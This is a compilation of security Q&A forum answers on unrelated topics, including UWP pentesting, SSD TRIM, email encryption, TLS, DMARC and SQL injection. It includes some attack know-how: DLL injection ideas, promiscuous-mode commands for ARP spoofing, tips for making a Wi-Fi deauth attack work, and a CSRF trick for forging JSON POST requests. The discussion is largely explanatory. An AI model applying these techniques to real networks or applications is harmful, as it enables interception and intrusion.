UWP Windows 10 applications: Internals and Pentesting

1) "Are there any other internals which I've missed and worth noting."

I'm not sure if I've understood you correctly, especially at the "worth nothing" part but there is a big change on the sandboxing mechanism. According to a review at The Register, Microsoft removes a part of the sandboxing for the applications which have been downloaded from the Application Store (not sure if this applies to the 3rd party applications).

Also, they have been thinking of expanding the Windows API so that more features and libraries will be usable by the user applications. To defend this choice, they claim that it should be users responsibility to inspect the applications intent rather than blocking the applications capabilities.

Finally, Microsoft is still considering if it was a good idea to unify the platforms or not, according to the link above. If you ask me, these are some radical changes. I'm not an expert on the UWP topic but as far as I've seen, it is only a way of packaging rather than an effort to implement heightened security. A .appx file seems to contain; a standard executable, block map file which contains file hashes, an app signature and the rest of the data such as images and so on. Maybe they will take more and more radical decisions soon, such as reverting back to the old structure.

2) "How would we approach pen-testing UWP apps targeted at Windows 10 tabs and devices."

Test Types:

Debugger: Well, as with any other Windows application I would start with OllyDbg or an equivalent debugger to analyze the behavior. If you know how to read a debugger output, you can gain a lot of information quickly.
Fuzz Testing: Again same with the debugging, always a good choice to try. Forcing various data towards the application through input channels may reveal some information about the application.

Now, for the attack types:

DLL Injection: It seems to be working with the UWP applications too but only if the included DLLs in the .appx are not signed. Trying to hook different malicious DLLs might give you an insight on the security side. In here, actually somebody used this method as a game mod.
Privilege Escalation: Although there is a sandbox mechanism, it is not a guarantee for perfect encapsulation. In fact, the post in this link claims that somebody have managed to use an exploit in a 0-day payload to escape APPCONTAINER mechanism.
Input/Output Sniffing: Lets assume that your application is secure as a castle itself. All DLLs are signed, there are no exploits in the DLLs you use or in DLLs which belong the system. Fuzzing tests have found not even a slightest bug. Even in this situation, there might be design flaws in your application which you will have to consider. Does your application show a valuable information in clear text which can be obtained by a screenshot? Does your application communicate with an external source without an encryption? These questions actually do not depend on the UWP system but again they may reveal delicate information about the application or the user. Your application can be secure but Windows still uses Win32 applications beside the UWP ones so you have to be careful about the design flaws.

That is what I can think of now. I've never used any of these methods on a Windows 10 before since it would be more beneficial for a hacker to utilize phishing methods rather than look for cracks in the software. Hope it helps!


TRIM is handled internally by the SSD controller. There aren't any standard ATA commands to obtain this information, and if there are vendor specific commands it's unlikely they are documented.
A simplified example of TRIM:

The OS writes some data to the disk at location 0. At this point, the OS can read the data back whenever it needs to.
The OS no longer needs this sector, so it marks it as unused with the TRIM command. The OS can no longer read the data back, the drive controller won't return it.
If you were able to inspect the memory chips (and make sense of their contents) the data would still be present at this point.
The drive is now free to erase the data as part of internal maintenance. This process is slow, and can only be done a limited number of times.
If you were able to inspect the memory chips this information would now be gone.

Control of step 4 is entirely internal to the disk. It may happen nearly immediately, it may be some minutes (or longer) until the drive conducts background operations. This will be vendor and likely drive specific. However, from the operating system the data is unavailable immediately after step 2.
It's important to note that TRIM is a block level command and does not relate to files. The OS doesn't delete one file using TRIM, it deletes an entire disk block. When this happens will depend on the type of filesystem and the OS. Depending on how the filesystem stores data it may take considerable time before a whole block is ready to be erased. Therefore it's still possible to obtain fragments of files, deleted files, old versions of data from an SSD.
The OS could of course read all sectors starting at 0, ending at the last one.  However, only current data will be read. Any sectors that have been released to the disk with TRIM will not be returned and are effectively lost.
Does this mean disk forensics is dead? Absolutely not. There is still plenty of useful evidence in file system structures, sectors which have not been overwritten etc.


I am Jason, one of the ProtonMail developers.

Decryption uses a combination of asymmetric (RSA) and symmetric (AES) encryption.

For PM to PM emails, we use an implementation of PGP where we handle the key exchange. So we have all the public keys. As for the private keys, when you create an account, it is generated on your browser, then encrypted with your mailbox password (which we do not have access to). Then the encrypted private key is pushed to the server so we can push it back to you whenever you login. So do we store your private key, yes, but since it is the encrypted private key, we don't actually have access to your key.

For PM to Outside emails, encryption is optional. If you select to encrypt, we use symmetric encryption with a password that you set for that message. This password can be ANYTHING. It should NOT be your Mailbox password. You need to somehow communicate this password to the recipient.

We have a couple other tricks as well for getting around the horrible performance of RSA.

We will eventually write a whitepaper with full details that anybody can understand. But something like that is a week long project in itself. I apologize in advance if my answer only makes sense to crypto people.


This questions is way too broad, try to be more specific, but YES.

If you put a wireless NIC in monitor mode it will capture everything within it's range (This depends on the antenna type, gain, position, etc.), from smartphones, tablets, AP, laptops, etc.

Now about all your questions you can do whatever you want to, but it is likely that most data will be encrypted, hence you won't be able to make much use of it.

Be warned that this may be illegal in different countries.

Related Topics:

Wardriving
Warchalking
Piggybacking


Arpspoof on Debian - Linux isn't working

Try setting your interface in promiscous mode, you can do it as following

ifconfig wlan0 down
ifconfig wlan0 promisc
ifconfig wlan0 up

Maybe it's not necessary to turn down and up the interface


This will help to protect against BGP Hijacking attacks.

During a BGP hijacking attack, the attacker can re-route the traffic though its own servers, allowing him to perform a MITM attack.

This allows him to create malicious responses to the challenges, which will be accepted by Let's Encrypt, and a certificate will be issued to the wrong person because of this.

Because of the lack of effort to fix BGP despite attacks being committed since a long time, Let's Encrypt plans to test a solution named Multi-Perspective Validation.

Using multiple independent networks to perform the validation will require an attacker to hijack more routes than before, thus raising the cost of a successful attack.


Internal Server to Server Authentication Using a Single Token

What's acceptable to you should depends on the value of whatever you are protecting, and the risks inherent in other aspects of the system.

In many cases, your suggestion may be perfectly reasonable, but in others it may be unacceptable. Risk may be represented by consequences of a breach, times it's probability.

So if you are handling very sensitive information, but there is a very low chance that someone would get ahold of that shared secret, because you have very rigorous controls over who could gain access to it... you may be ok. But if your controls over the system are pretty lax, the probability would be higher and may be unacceptable. You could address that either with a different authentication scheme, or by reducing the chances that someone would get that token.

Some further suggestions to mitigate risks surrounding this type of authenticator:

Make the shared secret a setting, not a hard-coded string
Don't check it into source control
Make it easy to change in case of a breach (possibly have a grace period where two tokens are valid so that you can roll over without interruption)
Ensure the place where the secret is stored has correct file permissions locally, or you may use a service like Azure KeyVault Secrets so that the machine only ever has it in memory
Use a cryptographic scheme like HMAC to sign some detail of the request parameters, so that the actual secret is never passed over the connection. Azure Storage Accounts and S3 both work this way.
Also in the crypto camp, you could use TOTP, which combines a shared secret with a time-based hash; each token transmitted over the wire would be valid for a very short time, but the secret would never change
Pair the token with the IP address of the server that is allowed to use it, thus limiting it's use to the server it belongs to


Access point uses different BSSID and deauth attack fails

Whilst very similar, the base station's BSSID isn't the same as its MAC address.

What you observe on your wireless scanning and deauth attacks are BSSIDs which correspond to individual SSIDs, usually very similar to the interface's MAC address only incremented by one per SSID *:8D, *:8E, ... Notice that each radio on a base station is its own interface, so there could be multiple BSSIDs per SSID.

Once associated and port scanning, what you are seeing is a kind of ethernet network and the base station presents itself as a layer 2 device with its own MAC address *:8C.

For your attack you should definitely target the correct BSSID, not the interface's MAC address.

Possible causes for the attack failing are:

Your interface is not injecting packets properly;
You could be injecting on the wrong channel or radio band;
Some access points have counter-measures against basic attacks like broadcast deauth, so you'll probably need to issue a deauth whilst impersonating the target connected client;
In case of enterprise deployments, multiple APs will triangulate your position and compare it to the location of the victim, and decide to ignore your deauth packets;
Protected Management Frames (802.11w IIRC) could be required by the AP;


Use case where MAC and DAC complement each other

SELinux policy rules are checked after DAC rules.
SELinux policy rules are not used if DAC rules deny access first.


I have not clear what you mean by, "when only saving packets instead of printing them on the standard output and opening it on Wireshark".

I believe, however, that you're trying to save "POST data" (which lives at the HTTP level) while your expression specifies only the first POST packet (living at the TCP level).

If you're intercepting, say, a 5Kb POST packet, chances are that it has been fragmented into three or more shorter packets (with say 1476, 1476, 1476 and 692 bytes payload - numbers almost at random, I haven't checked, but you see my meaning). Of these, only the first does actually contain the HTTP POST command, so that it is actually intercepted.

And there's more. The HTTP1.1 protocol allows for keeping the connection alive and "pipelining" commands in a single TCP connection so as to save the handshake and socket maintenance hassle. So you can have three POST commands in a single conversation:
    POST data1... POST data2... POST data3...

and of course the chances of any but the very first POST to come exactly at the beginning of a packet and be snatched by Wireshark are very small.

In order to properly capture POST data you need a HTTP proxy with conversation capture facility (or Firefox's Firebug, which is better for some applications), and have the whole HTTP stream parsed and the POST requests captured. Otherwise you would need a PCAP regexp complex enough to understand HTTP, which, even if feasible (which I'm not too sure), would be exceedingly impractical.


Open your spam folder and just look :)

But seriously you could register a new throw-away email address and then:
- Google for popular scam things like viagra, etc and sign up for newsletters.
- Email about scam work from home jobs on Craigslist


Malware known for stealing private ssh keys

Has been done, you can find a few reports online: Careto and Windigo. That said, it isn't your classical "let's own this machine and then use it for DDoS" kind of malware - people who operate the above are interested in long term peristence.


preventing SQL injection with string length

It does reduce the possibility/magnitude of harm caused by SQL injection, but definitely does NOT make your application secure against it.

For example, say your field takes 2 character input, and the server runs a LIKE operation on the input. Say the user enters something like A*, which satisfies the 2-character limit, but this would result into all the records starting with character A, and depending upon the scenario, the user might have access to data which he's not supposed to.

Hence, input validation should always be done immediately after accepting the input, as well as before sending it to the user.


Is external Nmap scan considered active or passive?

I tend to take a legal eye when I look that this (IANAL).

An NMAP scan of a target will always be active regardless of who performs the scan. Just because you shift the scanning responsibility to a third party doesn't change that fact.

You might be able to argue that you retrieved the scan data passively, but I would argue otherwise based on the post. From a legal stand point, it doesn't matter if you proxy the attack, if the attack as illegal it would just add another defendant. Would you consider C&C agents for something like a DDOS attack as passive? I sure as hell wouldn't.

It would however be different if you came across scan data on a third party site. You would have to prove that you didn't initiate the attack. From a legal perspective, you simply possessing scan data that was widely available (arguable), damning or not, would be different.


http://btprox.sourceforge.net/ has some code that does this. It is an application you can install that I believe is what you're looking for.


Is it possible to use Certbot for automating SSL certificates with CAs other than Let's Encrypt?

Yes, as long as the CA supports ACME. ZeroSSL and BuyPass offer free certificates with ACME. DigiCert seems to support requesting paid certificates through ACME.
To use this, you need to pass extra arguments to certbot, most notably --server.


Man-in-the-middle SSL generation on request possible

I use mitmproxy (and HoneyProxy a graphical interface to it) at work to do that. Works perfectly.

Relevant part of the documentation about SSL:
http://mitmproxy.org/doc/ssl.html


Is storing my LastPass password in LastPass a security risk?

It is rather useless because you first need to type the password to recover it. But IMHO this does not really weaken the overall security of the password vault by itself. Assuming LastPass encryption is correctly implemented, the only way to access the encrypted master password would be... to find it by another way. And if an attacker ever gains access to the encrypted vault, then the master password does not protect anything else, since the whole vault is in attacker's hands.

IMHO it is still a poor practice, but mainly because as it is useless,  doing that could either give a false security feeling, or be an indicator of other weird usages.


How can I verify that an organization is what they say they are online?

I would suggest having multiple ways someone could confirm their identity with your site. Similar to how the DMV requires two forms of ID to get a driver's license (one from 'option A' and one from 'option b', etc...)

There are many examples already given: (if possible, I would give the user many options and only require a few)

Verify by email: Send an email to an official domain email address (perhaps even the whois email address).
Use a text message/call system with a pin. (you can also use the official whois data)
The old 1 cent bank deposit confirmation as that answer you found states.
Have the user upload a unique file to their website

Here are two more:

Google when adding your business, they send a postcard with a time-sensitive code on it to the registered business address. You could simply look at the whois contact info and mail a verification letter to them. Even if their site is registered as 'private' whichever company is 'protecting' your information obviously must know your real/listed address and thus may forward the correspondence. Here is some more info on how Google does that and here is still more info.

A more automated way to do this is how Paypal implements a real photo id verification system. You simply scan a copy of an official id card and send it to them. For your purposes, you can ask for any official documentation related to the company/organization (tax forms for instance).

Bare in mind, none of these are sure fire solutions. Even the best systems are sometimes vulnerable to fraud. I would strongly suggest audits as a means to continually veht your user base.

Also, you may want to look into a rating system for your volunteers to rate that organization after the fact -a lower rating gets flagged for your review...


WPS vulnerability scanning for handshakes to detect the attack

You need low level access to the card/drivers in order to see that low level data. This is one of the reasons wireless tools have compatibility lists- do you can ensure you get a card which will provide you with the information you need.


Campus connection and application filtering - privacy convern

It restricts what can run over the network and so reduces the possible attacks. The main reasons they would do this though aren't so much about security as to a) reduce bandwidth use by banning ToR, Torrents, streaming, etc. b) make life easier for the college by avoiding possible legal issues.
Yes. Whether it would detect a VPN on port 443 is hard to determine but certainly there are filters/proxies that will. The pattern of traffic is different for a VPN than straight HTTPS. If you look back a week or so, you will see a very popular question that contains further information related to this.
No. You can try to hide the fact that you are using a VPN which may or may not be successful. Or you could use a 4G/LTS mobile broadband connection.

Finally, here is my mandatory warning: If you try to bypass the security of the network, you will certainly be breaking the terms and conditions of use. Check the contract and your tenancy contract carefully as to possible consequences. In some countries, this might also be illegal.


Is server-side cryptography with user-only access possible for email services?

The "Lavabit High Scalability Writeup", that you link to, includes this passage, which is enlightening:

  Because we need the plain text password to decrypt a user’s private key, we don’t support secure password authentication. We decided to support SSL instead (which encrypts everything; not just the password).

So here is what they do:

When the user registers, he chooses a password and sends it to the server.
An asymmetric key pair (apparently ECDH) is generated on the server.
The server stores the ECDH public key, and also the private key, but the private key is symmetrically encrypted with a key derived from the user's password. The user's password itself is not stored.
When an email is received (through SMTP), they encrypt it with the user's ECDH public key (with hybrid encryption, possibly ECIES or a variant thereof). They can do that because they have the public key.
When a user connects, through POP, IMAP or the Webmail, simple authentication is used: the user shows his password. The server then uses the password to decrypt the stored ECDH private key; if the private key is obtained and matches the stored public key, then the user is deemed authenticated.
As long as the user is connected, the ECDH private key is kept in the server RAM, and the server uses it to decrypt the user's emails for him.

So the server never stores on its disk the user's password or the user's ECDH private key in clear form. However, they obtain both at some point, but they keep these things in RAM, safe from leaks through stolen backup tapes or SQL injection attacks.

"Secure password authentication" is a kind of challenge-response system where the client does not show the password, but computes a response to a challenge, the response using both the challenge value (sent by the server) and the password. This kind of protocol is a partial protection against password disclosure when the server's identity is not guaranteed (from the client's point of view) or the connection between client and server could be eavesdropped. Since Lavabit uses the user's password both for authentication and for server-side decryption of the ECDH private key, they cannot support "secure password authentication". However, "secure password authentication" implies plaintext storage of the password on the server, so it is not really secure; a more thorough and safer solution is to wrap the whole dialog into SSL, which is what Lavabit does.

If Lavabit wants to purloin the user's emails, well, they can, since they have the user's private key in RAM at several points (when generating, and every time the user connects). However, they must have the plaintext emails too, because that's how the SMTP protocol works: the server necessarily has access to the plaintext emails when received and when sent. In that sense, use of server-side cryptography in Lavabit does not weaken the model.

If you want email protected from the servers (all involved servers), then you must have client-side cryptography with software which is not dynamically obtained from the server, because otherwise the server could still feed you malicious software. So, install something like GnuPG. This, of course, will not work well with the Webmail (the Webmail will let you read... encrypted emails) unless you also install a nifty browser plugin like FireGPG, except that this plugin is discontinued and unsupported.

Without client-side cryptography, I would say that what Lavabit does is fine and is about the best that could be done. (I don't comment on the implementation, which I have not reviewed in any way; I am describing the conceptual design.)


What are the pros and cons of using DNS to block unwanted domains?

Pros
 - Easy to implement network wide (DHCP server and a local DNS server are enough)
 - Easy to block (just add it to a list in the DNS server and route it to a bogus address or local address)
 - Easy to Bypass (if needed its easy to bypass)

Cons
 - Easy to bypass, just use a different DNS or add an entry to the hosts file is enough.
 - Is considered "Bad Network Practise" as you are redefining a Domain that is not yours.

In my opinion its better to either use a Proxy to redirect the users inside to a "Do not use" page. Possibly with the addition of IP blacklisting in your firewall.


Can an ampersand (&) be used in SQL injection?

Technically yes, but no more so than any other T-SQL syntax.  The & is used for bitwise actions, and if there is an applicable SQL injection vulnerability found, an attacker could use it to probe for more information about the structure of the query/data, but it's a very specialized scenario, and, in my opinion, a very low priority.  I can think of many more reasons to whitelist an ampersand than I can to blacklist it.

See the link below for more documentation about the operator.
https://docs.microsoft.com/en-us/sql/t-sql/language-elements/bitwise-and-transact-sql?view=sql-server-2017


What are the implications of publicizing a consumer secret for sharing between developers doing local website development?

Could you make the configuration file local only and not check that in?

Or just share the configuration file / API keys to a limited audience?

Sharing a key makes it a single point of failure as well. If it's a limited test account you can remove if needed, you have much better control. You need to be aware of the terms of those accounts as well (Twitter, Github, OpenStreetMaps, etc...) to make sure you aren't violating their terms of service by hosting API ids as freely downloadable content.

Agree that it's not the best from a developer usability perspective, but your developers should use their own API keys to achieve account isolation and protect you and others. This does effect startup time, maybe there is a project out there to simplify this for developers? C'mon interwebs, get on it.


IFTTT maker channel and Security Concerns

I guess HTTPS and put the secret in the body. Other than that, I don't think you can really secure it more, which is a shame. Also, you would need a certificate for your Raspbery PI.


If an OS is protected by full disk encryption (FDE), can recovery software recover deleted files from disk after unlocking FDE?

Yes and no. Yes, you can recover a deleted file, depending on how you deleted it. Disk encryption does not affect your ability to recover deleted files any more than an unencrypted disk because encryption happens at the driver level (usually) as the data is being written to disk. So, if you delete a file in Windows, and the OS marks that file for deletion, you can still recover. If you are using an OS that wipes the file with zeroes (several *NIX OS's) then no. But it doesn't have much (if anything) to do with FDE. Where you might run into issues more so than an unencrypted disk is how your encryption method deals with reboots and setting up the crypto after reboots. It could cause disk writes and re-writes that might lessen your chances of recovery.
Swap space is treated the same way. Full disk encryption is encryption. Period. Swap space is no different. The data is (should be) encrypted at rest, and only decrypted on the fly as it is read from disk.
RAM is not encrypted. Address space for important system operations is randomized, but not encrypted. Portions of the ram may be encrypted, but the whole is not (or at least... I have never heard of this). RAM being volitile is largely protection enough. No power? no data. It's a different problem than persistent (disk) storage that can be unplugged, taken elsewhere, and have the data taken off of it. Additionally, most operating systems have preventative measures that stop you (or a rouge application) from copying out more memory than belongs to you. Linux, for example, won't let dd blindly copy the contents of your RAM to disk. It stops it at 1MB. (dd if=/dev/mem of=/mnt/ramdump.bin)


Is it safe to use Giphy API keys in public Github repo?

Here is the official response to this question from GIPHY:

GIPHY APIs are designed to be used on the client side (and hence the API key too). You should go ahead and use it that way. Once development is complete - please apply for Production access for the key through the Developer Dashboard, this removes Rate limits associated with a beta key, so you don't have to worry about high traffic.
Lastly, and most importantly - GIPHY has monitors setup for API key abuse and we'll reach out to you if anything happens. We definitely don't want you to worry about it.

From here


Security implications of rooting Android

Non-professional opinion here (not a security guy, more of a software dev), but I'd say in the right hands: more secure, considering how many phone manufacturers are not issuing critical updates to the Android operating system, and how many phones are just running around with giant exploits in them.

Also the source code is available, you, as far as I know, can compile it yourself (download from Google, grab drivers for your phone from one of the various projects providing these drivers, review/compile them together) if you're really paranoid.

Furthermore, people putting hacks into your open-source software is a lot more difficult, being as you have a ton more eyes on the code, and anyone can speak up and reference code that they've forked (hence the original guys can't take it down), and it would pretty much be the end of those guy's professional career.

Edit:

HBoot isn't open source, however they do have alternative open-source bootloaders along with projects analyzing hboot:

http://tjworld.net/wiki/Projects/Bootloader-AP


Must TLS also accept unencrypted messages?

The literal answer is no: TLS does not accept unencrypted messages. However, your colleague's worries are not unfounded. I don't know whether he's confused but accidentally stumbled onto a real concern, or he understands the issues but explained them very confusingly.

A TLS connection is always encrypted (so a man-in-the-middle cannot read the data that is transmitted) and integrity-protected (so a man-in-the-middle cannot modify the data that is transmitted¹). Although the TLS specification defines a “null” ciphersuite, most applications won't use it, and not all TLS libraries even alow it. Unless you go out of your way to enable it both on the client and the server side, the null ciphersuite won't happen. Every other ciphersuite has encryption and integrity protection.

The security of TLS also relies on the two parties ensuring that they're talking directly to each other. There would be no security if all that happened was that the legitimate client has a secure connection to the man-in-the-middle, and the man-in-the-middle has a secure connection to the legitimate server. The way this works on the web (and in most other uses of TLS) is that the client authenticates the server by verifying that the server's certificate is valid. I won't go into what “valid” means here; in a nutshell, the certificate has to be cryptographically consistent with the connection (the client will always verify this) and has to be signed by a certificate authority that the client trusts (this bit is a bit more fragile, but it'll work provided you use reasonably up-to-date software and set up the server properly).

As usual all of this is subject to keeping up with security updates in the software, and to configuring it properly. Some older versions of the protocol have been broken, i.e. they don't offer the guarantees that they were designed to offer. But as long as you don't run ancient software or enable obsolete features in the server configuration, things are fine.

So what might your colleague be referring to?

  someone, someday, will forget to encrypt a message, expose their session token/user identity/whatever, and leave themselves open to a man-in-the-middle attack

This can happen even if your server supports TLS. A client could send an HTTP request instead of HTTPS. Then an attacker could impersonate your server and see the data that the client sent over HTTP. There's nothing the server can do to completely prevent this, but there are things you can do to make it mostly a moot issue.

The first thing to do is to only give people URLs starting with https://. That doesn't help if people type the URL directly.

One side of the coin is to configure your server not to respond to HTTP, except to redirect to the HTTPS site. In other words, all you serve on port 80 are redirects to https://same remainder of the URL. Furthermore, convey to the client that they should use HTTPS directly the next time, by enabling HSTS in your server's configuration. HSTS makes the server send the client an instruction to always use HTTPS for a particular site in the future. This way only the first connection from a particular client might be in cleartext.

The other side of the coin is to protect confidential data from being sent over HTTP. You can't protect the user's credentials if they insist on sending them in cleartext, just like you can't prevent a user from opening their window and shouting their password to everybody in the street. But you can protect the cookies that your application uses: make sure that all of your cookies have the secure flag. That way, if the user somehow gets their browser to make an HTTP connection, the browser won't send the cookies.

¹  Exception: a mitm can force the connection to be closed midway. This is in principle visible because that happens at the TCP level and both parties can tell that the TLS level wasn't properly terminated (by a fatal alert), but applications such as browsers typically don't provide any feedback about this, and it's indistinguishable from network glitches that do happen.


Security concerns of browser injected JS

If you are executing the code in an extension, it is run in a separate context (for security reasong) and it can be made to run without the code/key being concealed to the called webpage (which is a bit different than the web page not being able to detect that you used some script within the page).

For example, GreaseMonkey is designed for doing this kind of thing (running scripts on third-party pages) and, as far as it is properly written,¹ the affected page can't read/manipulate the script.

¹ Some insecure constructs, like unsafeWindow, would allow a compromise of the script, and even for the page to run javascript with chrome privileges.


What are the benefits of logging the username of a failed authentication attempt?

The reason you log failed login attempts to accounts is to determine if they are under brute force attack. If the account is sensitive enough, you might then consider putting in additional protections for that account.

Note that brute force attacks do not have to happen all at once and then stop. The clever attacker will try 4 attempts, then wait 15 minutes, then try again.

If you do not log the account name, then you would not know this was happening.


does SSH key-based authentication work strictly in one direction?

Yes. You can't authenticate using public key. By definition.

From mathematical point of view, you can derive public key from the private one, so doing this the other way round would not give any security or anything what you can expect from "authentication".


Is using PGP/MIME or PGP Inline more secure?

What is the most and least secure way of going about encrypting emails?

There is no difference in security: both use the same cryptographic principles, they just use another method of embedding OpenPGP into e-mails.

  I am looking for security and have no idea which to use, though I do know HTML will not work with PGP Inline but will with PGP/MIME.

PGP/MIME has the advantage of properly hiding signatures in metadata when the recipient does not have support for OpenPGP (they might see a "weird attachment", though). PGP/MIME is sometimes not properly handled by mailing lists. PGP/MIME lets you also encrypt and sign attachments.

Inline PGP on the other hand is more visible, and more robust in case of bad MIME implementations. Inline PGP cannot encrypt/sign attachments.

Both methods only support the content of the mail, and do not touch the mail headers (subject, sender, recipient, date, ...).


Does adding a randomized string in S3 file path has equal security to Google Drive shared link

Is it as secure as a Google Drive shared link?  Yes, that is to say, not at all.
A shared link from Google Drive is not meant to provide security.  It is meant to prevent brute-force attacks from randomly guessing the link.  Your idea would provide the same functionality as well - but the problem is, your threat model does not consist of other internet users who know nothing about your link.  When you say:

I want that the firmware file in the S3 bucket is secret to only me and my devices.

I am assuming that to mean you want to keep the link secret from the users (consumers) of your devices.  This is futile, because the end user has any number of ways of getting ahold of the link, or the file itself after it has been downloaded to the device.
As long as the bucket is exposed on the internet, there is no way to validate that a request is coming from one of your devices and not from a user who has investigated the device to identify whatever criteria you are using.
That said, while nothing will achieve the exact goal you're asking for, there are some steps you might be able to take:

If you know where these devices are going to be deployed (such as if they're purpose-built for a site, or if your target market is only in the US) you can geo-restrict requests to the bucket.  This will prevent spurious requests from geolocations you know will not need to be supported.
You can rate-limit incoming requests.  If a user is sniffing traffic externally from the device, without breaking into its internals, they will only be able to see the SNI field of your requests (e.g., s3.region.amazonaws.com).  This would prevent brute-forcing based solely on the SNI.  This will, of course, not work if they are running a TLS MITM on their network.


Is this security/encryption scheme secure?

"I have absolutely no experience with security and encryption": Yikes.  It is probably not the best idea to be designing new cryptographic schemes, given this sentence, if security is important for your application.  Cryptosystem design is a tricky subject.  Folks who try to invent their own schemes without knowledge of the field often make non-obvious mistakes.  If I can use an analogy, I wouldn't try to perform surgery on myself; I'd go to a qualified surgeon.  If security is important, you should do the same.
On your particular scheme: It definitely has some positive aspects, but it also has some significant shortcomings that I spotted (with no guarantees that this list is exhaustive):

Rolls its own crypto. As a very general comment, the number-one lesson from the history of cryptography is that rolling your own crypto is highly error-prone.  This is particularly a risk factor if you haven't studied the area deeply.  Therefore, you are skating on thin ice, and you should expect that your scheme will likely have security problems that you didn't anticipate.

Leaks the password. User passwords tend have little entropy.  Therefore, it is critical to reduce or eliminate opportunities for offline dictionary search against the password.  Using PBKDF2 is a good idea, but you then shoot yourself in the foot by sending a (plain) hash of the password to the server.  That enables rapid offline dictionary search.  And there is no need for it.  You shouldn't send a password hash to the server.  For instance, it would suffice to send only the username to the server (and not anything derived from the password).

Insufficient iterations of PBKDF2 to protect the password. In addition, I suspect that 11368 iterations of PBKDF2 is not enough to prevent dictionary search attacks.  Best practice is to select a number that is large enough to make the operation take, say, 1 second.  See, e.g., this question on IT Security.

Insecure salting. The scheme you use for generating the salt is totally broken.  You are using a deterministic function of the password as the salt; this totally defeats the purpose of a salt.  The salt should be a crypto-strength random value, say 64 bits in length or more.

Doesn't authenticate data. You encrypt the data, but you don't authenticate it.  Without authentication, attackers can tamper with the data, and you won't be able to detect it.  Also, for subtle reasons, encryption without authentication is insecure.
Fix: After encrypting, you should compute a MAC on the ciphertext using a strong message authentication code (e.g., AES-CMAC) and append the MAC.  Before decrypting, you should check the MAC.  Don't use the same key for encryption and for the MAC; when you derive keys from the password, you should derive two independent keys (256 bits).

Doesn't use HTTPS. I'd recommend using HTTPS.  Encryption and authentication only defend against some threats.  For instance, they don't ensure that you get the latest version of the data.  This means that, in your scheme, if a client is connected to the Internet over an open wireless connection (for instance), a man-in-the-middle attacker might mount replay attacks that replay old versions of the data.  I suggest that you connect to the server by HTTPS.

May be susceptible to traffic analysis.  Encryption does not conceal the length of the data being encrypted.  Also, when compressing data, the length of the compressed data can potentially reveal some information about the data itself being compressed (not just its length), which may pose additional risks.  These risks might be acceptable or unavoidable, but you'll need to analyze them in the context of your particular application and the types of data typically being stored.

Even if you fix all of these problems, there is no guarantee that the result will be adequately secure.  Generally speaking, if initial review of a design indicates 4 problems, even if you fix the problems you know of, one should be very suspicious: how do you know there isn't a 5th problem that you just missed?
That said, there are also a number of positive elements in your design.  For instance, you are using standard well-vetted algorithms, which is good.  Overall, I think you're on a reasonable path -- there are just some non-obvious issues you probably haven't anticipated.


Difference between Privilege and Permission

In computer security, they are used interchangeably.

  In the context of rights, permission implies consent given to any
  individual or group to perform an action. Privilege is a permission
  given to an individual or group. Privileges are used to distinguish
  between different granted permissions (including no permission.)

A privilege is a permission to perform an action.

Also from the above english.se link

  A permission is a property of an object, such as a file. It says which
  agents are permitted to use the object, and what they are permitted to
  do (read it, modify it, etc.).

  A privilege is a property of an agent, such as a user. It lets the
  agent do things that are not ordinarily allowed. For example, there
  are privileges which allow an agent to access an object that it does
  not have permission to access, and privileges which allow an agent to
  perform maintenance functions such as restart the computer.

So in your example the privilege is having the permission to write the file 'x'


The YubiKey NEO is a unique One-Time Authentication device which combines the functionality of a YubiKey Hardware Authentication device with the extended capabilities of a smart card, without requiring additional drivers or software.

The YubiKey NEO has 3 major elements - the first is the YubiKey element, which allows the YubiKey to be used as a configurable hardware authentication device, capable of hold 2 independent configurations. Each configuration can be set to generate codes using the Yubico OTP, OATH-HOTP, a challenge-response configuration or a simple static password. All of the validation sever software used to support the YubiKey modes is also open source. In fact, a number of password managers have already integrated the YubiKey into their offerings - https://www.yubico.com/applications/password-management/consumer/

One of your use cases is the requirement to log into your Linux desktop. This can be simply done using the YubiKey and the Yubico - PAM module (https://developers.yubico.com/yubico-pam). The same Module can also be used to secure your SSH with second factor authentication as well (https://hak5.org/episodes/hak5-1114).

The second element of the YubiKey NEO is the secure element on the NEO which allows for smart card based functionality, including using the YubiKey NEO as a PIV compliant smart card for holding certificates (https://developers.yubico.com/yubico-piv-tool/doc/YubiKey-NEO-PIV-Introduction.html). Further, the YubiKey NEO has an OpenPGP applet, used to securely hold your private keys on the YubiKey itself, preventing them from being expose should your system become compromised (https://www.yubico.com/2012/12/yubikey-neo-openpgp).

Finally, the YubiKey NEO is the first device to support the revolutionary new protocol, U2F (https://fidoalliance.org/adoption/video/yubico-fido-alliance-universal-2nd-factor-u2f-demonstration). This next generation authentication protocol looks to provide the security of a smart-card based solution with the ease of integration and support of a traditional hardware authentication token system.


CSRF with JSON POST when Content-Type must be application/json

Is this application vulnerable to CSRF attack?

Yes, it's vulnerable. The prerequisite, however, here is Flash. With the help of Flash, it's possible to forge a Content-type header with any arbitrary value. What you need to do is POST a request to your own domain, and then issue a 307 redirect. Please refer to below screenshot:

For more information, please refer to this cm2.pw article.

  Use something like this: var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'}); to generate a JSON blob and it'll send perfectly. CSRF in seconds!

This, afaik, is already fixed in modern browsers. However, it still works in IE with file URI.

Update:
Since it's still getting a lot of views lately, I'm adding links to fixes;
https://bugzilla.mozilla.org/show_bug.cgi?id=1436241
https://bugs.chromium.org/p/chromium/issues/detail?id=332023

For some reason, chromium fix does not work and still allow sending POST request with custom Content-type headers.


Why so many DMARC failures? When to move on?

In a very similar situation at the moment,

Based on several weeks of deploying DMARC:

Know your mail flows and which mail servers send mail from your environment or on your behalf. Start by updating your SPF records accordingly and remember that all domains AND sub-domains need to have their own SPF records.
SPF might still fail due to various reasons (mobile users, remailers etc.) My view is that the way to bypass this on the short-term is to start DKIM signing ASAP for your main domain AND your subdomains.
In case you are working with 3rd parties, either get them to channel their mail flows through your own mail servers, or liaise with them to ensure they are DKIM-savy enough, and build a process to regularly rotate their DKIM public key(s) in your DNS.
Be patient with tightening your policy (I also had planned to follow Google's ramp-up). It is worth taking the time to delve into the DMARC reports and understand why exactly SPF/DKIM/DMARC failed. In a lot of cases, these are actual spoofs. You might discover mail flows which you were not even aware of. Use open source parsers to visualize your reports or send them to some log management system to facilitate the analysis. Or outsource the analysis.
Remember to apply inbound DMARC checking as well. Let everything through in a first phase, then progressively enforce the sender policy. You could e.g. quarantine mails that should be rejected, then actually reject them.

